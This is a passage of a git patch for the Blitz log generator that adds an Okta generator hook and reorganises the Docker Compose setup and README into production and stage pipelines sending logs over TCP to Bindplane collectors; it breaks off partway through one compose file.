From 99992680553e4097d3873f1470f5400f00cb45d3 Mon Sep 17 00:00:00 2001 From: Joe Armstrong Date: Tue, 3 Feb 2026 13:25:22 -0500 Subject: [PATCH 1/6] generator more security data and update example docker compose endpoints --- cmd/blitz/main.go | 11 + docker/README.md | 199 ++++--- docker/collector-config.yaml | 38 -- docker/docker-compose.json-pii-stage.yml | 65 +++ docker/docker-compose.json-pii.yml | 65 +++ docker/docker-compose.okta-stage.yml | 46 ++ docker/docker-compose.okta.yml | 46 ++ docker/docker-compose.telemetry-generator.yml | 164 ------ docker/docker-compose.web-db-stage.yml | 75 +++ docker/docker-compose.web-db.yml | 75 +++ generator/apache/apache.go | 87 ++- generator/json/json.go | 182 ++++--- generator/kubernetes/kubernetes.go | 87 ++- generator/nginx/nginx.go | 101 +++- generator/okta/okta.go | 511 ++++++++++++++++++ generator/postgres/postgres.go | 57 ++ internal/config/generator.go | 10 +- internal/config/generator_okta.go | 27 + internal/config/override.go | 4 +- internal/config/override_test.go | 16 + internal/generator/logtypes/pii.go | 2 +- 21 files changed, 1481 insertions(+), 387 deletions(-) delete mode 100644 docker/collector-config.yaml create mode 100644 docker/docker-compose.json-pii-stage.yml create mode 100644 docker/docker-compose.json-pii.yml create mode 100644 docker/docker-compose.okta-stage.yml create mode 100644 docker/docker-compose.okta.yml delete mode 100644 docker/docker-compose.telemetry-generator.yml create mode 100644 docker/docker-compose.web-db-stage.yml create mode 100644 docker/docker-compose.web-db.yml create mode 100644 generator/okta/okta.go create mode 100644 internal/config/generator_okta.go diff --git a/cmd/blitz/main.go b/cmd/blitz/main.go index bf70e0d..8ae9299 100644 --- a/cmd/blitz/main.go +++ b/cmd/blitz/main.go @@ -24,6 +24,7 @@ import ( "github.com/observiq/blitz/generator/kubernetes" "github.com/observiq/blitz/generator/nginx" gennop "github.com/observiq/blitz/generator/nop" + "github.com/observiq/blitz/generator/okta" "github.com/observiq/blitz/generator/paloalto" "github.com/observiq/blitz/generator/postgres" "github.com/observiq/blitz/generator/winevt" @@ -388,6 +389,16 @@ func run(cmd *cobra.Command, args []string) error { logger.Error("Failed to create File generator", zap.Error(err)) return err } + case config.GeneratorTypeOkta: + generatorInstance, err = okta.New( + logger, + cfg.Generator.Okta.Workers, + cfg.Generator.Okta.Rate, + ) + if err != nil { + logger.Error("Failed to create Okta generator", zap.Error(err)) + return err + } default: logger.Error("Invalid generator type", zap.String("type", string(cfg.Generator.Type))) return fmt.Errorf("invalid generator type: %s", cfg.Generator.Type) diff --git a/docker/README.md b/docker/README.md index ce055ec..430ca9d 100644 --- a/docker/README.md +++ b/docker/README.md @@ -1,124 +1,145 @@ -# Telemetry Generator +# Blitz Docker Compose -A Docker Compose setup that runs all Blitz log generators simultaneously and sends telemetry to Bindplane via a Bindplane Agent. +Docker Compose configurations for running Blitz log generators with Bindplane collectors. -## Architecture +## Pipelines -``` -┌─────────────────┐ -│ blitz-json │──┐ -├─────────────────┤ │ -│ blitz-pii │──┤ (10x workers - 37 PII types) -├─────────────────┤ │ -│ blitz-winevt │──┤ -├─────────────────┤ │ -│ blitz-palo-alto │──┤ -├─────────────────┤ │ ┌──────────────────┐ ┌─────────────────┐ -│ blitz-apache-* │──┼───►│ BDOT Collector │───►│ Bindplane │ -├─────────────────┤ │ │ (OTLP receiver) │ │ (OpAMP) │ -│ blitz-nginx │──┤ └──────────────────┘ └─────────────────┘ -├─────────────────┤ │ -│ blitz-postgres │──┤ -├─────────────────┤ │ -│ blitz-kubernetes│──┘ -└─────────────────┘ -``` - -## Prerequisites +Three separate pipelines are available, each with production and stage variants: -- Docker and Docker Compose -- Bindplane instance with OpAMP enabled -- Bindplane secret key +| Pipeline | Generators | Workers | Prod Port | Stage Port | +|----------|-----------|---------|-----------|------------| +| **web-db** | Apache, PostgreSQL, Kubernetes | Apache: 10x, Others: 1x | 5140 | 5150 | +| **json-pii** | JSON, PII | JSON: 1x, PII: 15x | 5160 | 5170 | +| **okta** | Okta | 1x | 5180 | 5190 | ## Quick Start +### Production + ```bash -# From the blitz repo root directory -OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ +# Web & DB logs (Apache 10x, PostgreSQL, Kubernetes) +OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.telemetry-generator.yml up -``` - -## Configuration - -### Required Environment Variables - -| Variable | Description | Example | -|----------|-------------|---------| -| `OPAMP_ENDPOINT` | Bindplane OpAMP WebSocket endpoint | `wss://app.bindplane.com/v1/opamp` | -| `OPAMP_SECRET_KEY` | Bindplane secret key for authentication | `your-secret-key` | - -### Optional Environment Variables +docker compose -f docker/docker-compose.web-db.yml -p web-db up -d -| Variable | Default | Description | -|----------|---------|-------------| -| `BLITZ_RATE` | `1s` | Log generation rate per generator | -| `BLITZ_WORKERS` | `1` | Number of workers per generator | -| `BLITZ_PII_WORKERS` | `10` | Number of workers for PII generator (10x default for comprehensive testing) | - -### Examples - -**Increase log generation rate:** -```bash -OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ +# JSON & PII logs (PII 15x) +OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ -BLITZ_RATE=100ms \ -docker compose -f docker/docker-compose.telemetry-generator.yml up -``` +docker compose -f docker/docker-compose.json-pii.yml -p json-pii up -d -**Run with more workers:** -```bash -OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ +# Okta logs +OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ OPAMP_SECRET_KEY=your-secret-key \ -BLITZ_WORKERS=3 \ -docker compose -f docker/docker-compose.telemetry-generator.yml up +docker compose -f docker/docker-compose.okta.yml -p okta up -d ``` -**Run in background:** +### Stage + ```bash -OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.telemetry-generator.yml up -d +# Web & DB logs +OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +OPAMP_SECRET_KEY_STAGE=your-secret-key \ +docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up -d + +# JSON & PII logs +OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +OPAMP_SECRET_KEY_STAGE=your-secret-key \ +docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up -d + +# Okta logs +OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +OPAMP_SECRET_KEY_STAGE=your-secret-key \ +docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up -d ``` -## Included Generators +### Run All Pipelines -| Generator | Log Type | Description | -|-----------|----------|-------------| -| `blitz-json` | JSON | Structured JSON logs | -| `blitz-pii` | PII | JSON logs with 37 PII types (SSN, credit card, email, passport, API keys, JWT, etc.) - runs at 10x rate | -| `blitz-winevt` | Windows Event | Windows Event logs in XML format | -| `blitz-palo-alto` | Palo Alto | Firewall syslog entries | -| `blitz-apache-common` | Apache Common | Apache Common Log Format (CLF) | -| `blitz-apache-combined` | Apache Combined | Apache Combined Log Format with referer/user-agent | -| `blitz-apache-error` | Apache Error | Apache error log format | -| `blitz-nginx` | NGINX | NGINX Combined Log Format | -| `blitz-postgres` | PostgreSQL | PostgreSQL database logs | -| `blitz-kubernetes` | Kubernetes | Container logs in CRI-O format | +```bash +# Production - all three pipelines +export OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp +export OPAMP_SECRET_KEY=your-secret-key -## Running Individual Generators +docker compose -f docker/docker-compose.web-db.yml -p web-db up -d +docker compose -f docker/docker-compose.json-pii.yml -p json-pii up -d +docker compose -f docker/docker-compose.okta.yml -p okta up -d -To run only specific generators: +# Stage - all three pipelines +export OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp +export OPAMP_SECRET_KEY_STAGE=your-secret-key -```bash -OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ -OPAMP_SECRET_KEY=your-secret-key \ -docker compose -f docker/docker-compose.telemetry-generator.yml up bdot-collector blitz-json blitz-nginx +docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up -d +docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up -d +docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up -d ``` ## Stopping ```bash -docker compose -f docker/docker-compose.telemetry-generator.yml down +# Production +docker compose -f docker/docker-compose.web-db.yml -p web-db down +docker compose -f docker/docker-compose.json-pii.yml -p json-pii down +docker compose -f docker/docker-compose.okta.yml -p okta down + +# Stage +docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage down +docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage down +docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage down ``` +## Environment Variables + +### Required + +| Variable | Description | +|----------|-------------| +| `OPAMP_ENDPOINT` | Production Bindplane OpAMP endpoint | +| `OPAMP_SECRET_KEY` | Production Bindplane secret key | +| `OPAMP_ENDPOINT_STAGE` | Stage Bindplane OpAMP endpoint | +| `OPAMP_SECRET_KEY_STAGE` | Stage Bindplane secret key | + +### Optional + +| Variable | Default | Description | +|----------|---------|-------------| +| `BLITZ_RATE` | `1s` | Log generation rate | +| `BLITZ_WORKERS` | `1` | Default workers for most generators | +| `BLITZ_APACHE_WORKERS` | `10` | Apache generator workers | +| `BLITZ_PII_WORKERS` | `15` | PII generator workers | +| `BLITZ_OKTA_WORKERS` | `1` | Okta generator workers | + +## TCP Ports + +| Port | Pipeline | Environment | +|------|----------|-------------| +| 5140 | web-db | Production | +| 5150 | web-db | Stage | +| 5160 | json-pii | Production | +| 5170 | json-pii | Stage | +| 5180 | okta | Production | +| 5190 | okta | Stage | + ## Files | File | Description | |------|-------------| -| `docker-compose.telemetry-generator.yml` | Docker Compose configuration | -| `collector-config.yaml` | Bindplane Agent OTLP receiver configuration | +| `docker-compose.web-db.yml` | Apache/PostgreSQL/Kubernetes (prod) | +| `docker-compose.web-db-stage.yml` | Apache/PostgreSQL/Kubernetes (stage) | +| `docker-compose.json-pii.yml` | JSON/PII logs (prod) | +| `docker-compose.json-pii-stage.yml` | JSON/PII logs (stage) | +| `docker-compose.okta.yml` | Okta logs (prod) | +| `docker-compose.okta-stage.yml` | Okta logs (stage) | + +## Building Local Image -## Kubernetes Deployment +To build and use a local image instead of `ghcr.io/observiq/blitz:latest`: -For Kubernetes deployment, see the `app/telemetry-generator/` directory in the [iris-cluster-config](https://github.com/observIQ/iris-cluster-config) repository. +```bash +# Build the binary +CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o package/blitz ./cmd/blitz + +# Build the Docker image +docker build -t blitz:local -f package/Dockerfile package/ + +# Update compose files to use local image +sed -i 's|ghcr.io/observiq/blitz:latest|blitz:local|g' docker/docker-compose.*.yml +``` diff --git a/docker/collector-config.yaml b/docker/collector-config.yaml deleted file mode 100644 index f071d70..0000000 --- a/docker/collector-config.yaml +++ /dev/null @@ -1,38 +0,0 @@ -# BDOT Collector Configuration for Telemetry Generator -# -# This is a minimal configuration that enables the OTLP receiver. -# The actual export configuration will be managed by Bindplane via OpAMP. -# -# When connected to Bindplane via OpAMP, the configuration will be replaced -# with the configuration pushed from Bindplane. - -receivers: - otlp: - protocols: - grpc: - endpoint: 0.0.0.0:4317 - http: - endpoint: 0.0.0.0:4318 - -processors: - batch: - timeout: 5s - send_batch_size: 1000 - -exporters: - # Debug exporter for initial testing - Bindplane will configure actual exporters via OpAMP - debug: - verbosity: basic - sampling_initial: 5 - sampling_thereafter: 200 - -service: - pipelines: - logs: - receivers: [otlp] - processors: [batch] - exporters: [debug] - - telemetry: - metrics: - level: none diff --git a/docker/docker-compose.json-pii-stage.yml b/docker/docker-compose.json-pii-stage.yml new file mode 100644 index 0000000..944016e --- /dev/null +++ b/docker/docker-compose.json-pii-stage.yml @@ -0,0 +1,65 @@ +# JSON & PII Logs - Docker Compose Configuration (Stage) +# +# Generates JSON (1x) and PII (15x) logs via TCP. +# +# Usage: +# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY_STAGE=your-secret-key \ +# docker compose -f docker/docker-compose.json-pii-stage.yml -p json-pii-stage up +# +# TCP Port: 5170 + +x-blitz-common: &blitz-common + image: blitz:local + restart: unless-stopped + environment: + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage + BLITZ_OUTPUT_TCP_PORT: "5170" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-json-pii-stage + networks: + - json-pii-stage-net + +services: + collector-json-pii-stage: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} + OPAMP_AGENT_NAME: blitz-json-pii-collector-stage + OPAMP_LABELS: "env=stage,pipeline=json-pii" + ports: + - "5170:5170" + networks: + - json-pii-stage-net + + # JSON Log Generator (1x workers) + blitz-json-stage: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage + BLITZ_OUTPUT_TCP_PORT: "5170" + + # PII Log Generator (15x workers) + blitz-pii-stage: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_TYPE: pii + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-15} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii-stage + BLITZ_OUTPUT_TCP_PORT: "5170" + +networks: + json-pii-stage-net: + driver: bridge diff --git a/docker/docker-compose.json-pii.yml b/docker/docker-compose.json-pii.yml new file mode 100644 index 0000000..60ba223 --- /dev/null +++ b/docker/docker-compose.json-pii.yml @@ -0,0 +1,65 @@ +# JSON & PII Logs - Docker Compose Configuration (Production) +# +# Generates JSON (1x) and PII (15x) logs via TCP. +# +# Usage: +# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY=your-secret-key \ +# docker compose -f docker/docker-compose.json-pii.yml -p json-pii up +# +# TCP Port: 5160 + +x-blitz-common: &blitz-common + image: blitz:local + restart: unless-stopped + environment: + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii + BLITZ_OUTPUT_TCP_PORT: "5160" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-json-pii + networks: + - json-pii-net + +services: + collector-json-pii: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} + OPAMP_AGENT_NAME: blitz-json-pii-collector + OPAMP_LABELS: "env=production,pipeline=json-pii" + ports: + - "5160:5160" + networks: + - json-pii-net + + # JSON Log Generator (1x workers) + blitz-json: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii + BLITZ_OUTPUT_TCP_PORT: "5160" + + # PII Log Generator (15x workers) + blitz-pii: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: json + BLITZ_GENERATOR_JSON_TYPE: pii + BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-15} + BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-json-pii + BLITZ_OUTPUT_TCP_PORT: "5160" + +networks: + json-pii-net: + driver: bridge diff --git a/docker/docker-compose.okta-stage.yml b/docker/docker-compose.okta-stage.yml new file mode 100644 index 0000000..e202321 --- /dev/null +++ b/docker/docker-compose.okta-stage.yml @@ -0,0 +1,46 @@ +# Okta Logs - Docker Compose Configuration (Stage) +# +# Generates Okta System Log events via TCP. +# +# Usage: +# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY_STAGE=your-secret-key \ +# docker compose -f docker/docker-compose.okta-stage.yml -p okta-stage up +# +# TCP Port: 5190 + +services: + collector-okta-stage: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} + OPAMP_AGENT_NAME: blitz-okta-collector-stage + OPAMP_LABELS: "env=stage,pipeline=okta" + ports: + - "5190:5190" + networks: + - okta-stage-net + + # Okta Log Generator + blitz-okta-stage: + image: blitz:local + restart: unless-stopped + environment: + BLITZ_GENERATOR_TYPE: okta + BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_OKTA_WORKERS:-1} + BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-okta-stage + BLITZ_OUTPUT_TCP_PORT: "5190" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-okta-stage + networks: + - okta-stage-net + +networks: + okta-stage-net: + driver: bridge diff --git a/docker/docker-compose.okta.yml b/docker/docker-compose.okta.yml new file mode 100644 index 0000000..4fa777b --- /dev/null +++ b/docker/docker-compose.okta.yml @@ -0,0 +1,46 @@ +# Okta Logs - Docker Compose Configuration (Production) +# +# Generates Okta System Log events via TCP. +# +# Usage: +# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY=your-secret-key \ +# docker compose -f docker/docker-compose.okta.yml -p okta up +# +# TCP Port: 5180 + +services: + collector-okta: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} + OPAMP_AGENT_NAME: blitz-okta-collector + OPAMP_LABELS: "env=production,pipeline=okta" + ports: + - "5180:5180" + networks: + - okta-net + + # Okta Log Generator + blitz-okta: + image: blitz:local + restart: unless-stopped + environment: + BLITZ_GENERATOR_TYPE: okta + BLITZ_GENERATOR_OKTA_WORKERS: ${BLITZ_OKTA_WORKERS:-1} + BLITZ_GENERATOR_OKTA_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-okta + BLITZ_OUTPUT_TCP_PORT: "5180" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-okta + networks: + - okta-net + +networks: + okta-net: + driver: bridge diff --git a/docker/docker-compose.telemetry-generator.yml b/docker/docker-compose.telemetry-generator.yml deleted file mode 100644 index c517d84..0000000 --- a/docker/docker-compose.telemetry-generator.yml +++ /dev/null @@ -1,164 +0,0 @@ -# Telemetry Generator - Docker Compose Configuration -# -# Runs all blitz generators and sends telemetry to a BDOT collector, -# which connects to Bindplane via OpAMP. -# -# Usage (from blitz repo root): -# OPAMP_ENDPOINT=wss://your-bindplane.com/v1/opamp \ -# OPAMP_SECRET_KEY=your-secret-key \ -# docker compose -f docker/docker-compose.telemetry-generator.yml up -# -# Required environment variables: -# - OPAMP_ENDPOINT: Bindplane OpAMP endpoint (e.g., wss://yellow.stage.bindplane.com/v1/opamp) -# - OPAMP_SECRET_KEY: Bindplane secret key for authentication -# -# Optional environment variables: -# - BLITZ_RATE: Log generation rate (default: 1s) -# - BLITZ_WORKERS: Workers per generator (default: 1) - -x-blitz-common: &blitz-common - image: ghcr.io/observiq/blitz:latest - restart: unless-stopped - environment: - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - BLITZ_LOGGING_LEVEL: info - depends_on: - - bdot-collector - networks: - - telemetry-net - -services: - # BDOT Collector - receives OTLP from blitz instances, connects to Bindplane via OpAMP - bdot-collector: - image: observiq/bindplane-agent:latest - restart: unless-stopped - user: "0" # Run as root to allow writing to /etc/otel - environment: - OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} - OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} - OPAMP_AGENT_NAME: telemetry-generator-collector - OPAMP_LABELS: "env=docker,component=telemetry-generator" - ports: - - "4317:4317" # OTLP gRPC - - "4318:4318" # OTLP HTTP - networks: - - telemetry-net - - # JSON Log Generator - blitz-json: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # PII Log Generator (JSON with comprehensive PII data - 37 sensitive data types) - # Runs at 10x rate compared to other generators for thorough PII testing - blitz-pii: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: json - BLITZ_GENERATOR_JSON_TYPE: pii - BLITZ_GENERATOR_JSON_WORKERS: ${BLITZ_PII_WORKERS:-10} - BLITZ_GENERATOR_JSON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Windows Event Log Generator - blitz-winevt: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: winevt - BLITZ_GENERATOR_WINEVT_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_WINEVT_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Palo Alto Firewall Log Generator - blitz-palo-alto: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: palo-alto - BLITZ_GENERATOR_PALOALTO_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_PALOALTO_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Apache Common Log Generator - blitz-apache-common: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: apache-common - BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Apache Combined Log Generator - blitz-apache-combined: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: apache-combined - BLITZ_GENERATOR_APACHECOMBINED_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_APACHECOMBINED_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Apache Error Log Generator - blitz-apache-error: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: apache-error - BLITZ_GENERATOR_APACHEERROR_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_APACHEERROR_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # NGINX Log Generator - blitz-nginx: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: nginx - BLITZ_GENERATOR_NGINX_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_NGINX_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # PostgreSQL Log Generator - blitz-postgres: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: postgres - BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - - # Kubernetes Log Generator - blitz-kubernetes: - <<: *blitz-common - environment: - BLITZ_GENERATOR_TYPE: kubernetes - BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} - BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} - BLITZ_OUTPUT_TYPE: otlp-grpc - BLITZ_OUTPUT_OTLPGRPC_HOST: bdot-collector - BLITZ_OUTPUT_OTLPGRPC_PORT: "4317" - -networks: - telemetry-net: - driver: bridge - diff --git a/docker/docker-compose.web-db-stage.yml b/docker/docker-compose.web-db-stage.yml new file mode 100644 index 0000000..ffe0dd3 --- /dev/null +++ b/docker/docker-compose.web-db-stage.yml @@ -0,0 +1,75 @@ +# Web & Database Logs - Docker Compose Configuration (Stage) +# +# Generates Apache (10x), PostgreSQL, and Kubernetes logs via TCP. +# +# Usage: +# OPAMP_ENDPOINT_STAGE=wss://stage.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY_STAGE=your-secret-key \ +# docker compose -f docker/docker-compose.web-db-stage.yml -p web-db-stage up +# +# TCP Port: 5150 + +x-blitz-common: &blitz-common + image: blitz:local + restart: unless-stopped + environment: + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage + BLITZ_OUTPUT_TCP_PORT: "5150" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-web-db-stage + networks: + - web-db-stage-net + +services: + collector-web-db-stage: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT_STAGE:?OPAMP_ENDPOINT_STAGE is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY_STAGE:?OPAMP_SECRET_KEY_STAGE is required} + OPAMP_AGENT_NAME: blitz-web-db-collector-stage + OPAMP_LABELS: "env=stage,pipeline=web-db" + ports: + - "5150:5150" + networks: + - web-db-stage-net + + # Apache Log Generator (10x workers) + blitz-apache-stage: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: apache-common + BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-10} + BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage + BLITZ_OUTPUT_TCP_PORT: "5150" + + # PostgreSQL Log Generator (1x workers) + blitz-postgres-stage: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: postgres + BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage + BLITZ_OUTPUT_TCP_PORT: "5150" + + # Kubernetes Log Generator (1x workers) + blitz-kubernetes-stage: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: kubernetes + BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db-stage + BLITZ_OUTPUT_TCP_PORT: "5150" + +networks: + web-db-stage-net: + driver: bridge diff --git a/docker/docker-compose.web-db.yml b/docker/docker-compose.web-db.yml new file mode 100644 index 0000000..cf87754 --- /dev/null +++ b/docker/docker-compose.web-db.yml @@ -0,0 +1,75 @@ +# Web & Database Logs - Docker Compose Configuration (Production) +# +# Generates Apache (10x), PostgreSQL, and Kubernetes logs via TCP. +# +# Usage: +# OPAMP_ENDPOINT=wss://app.bindplane.com/v1/opamp \ +# OPAMP_SECRET_KEY=your-secret-key \ +# docker compose -f docker/docker-compose.web-db.yml -p web-db up +# +# TCP Port: 5140 + +x-blitz-common: &blitz-common + image: blitz:local + restart: 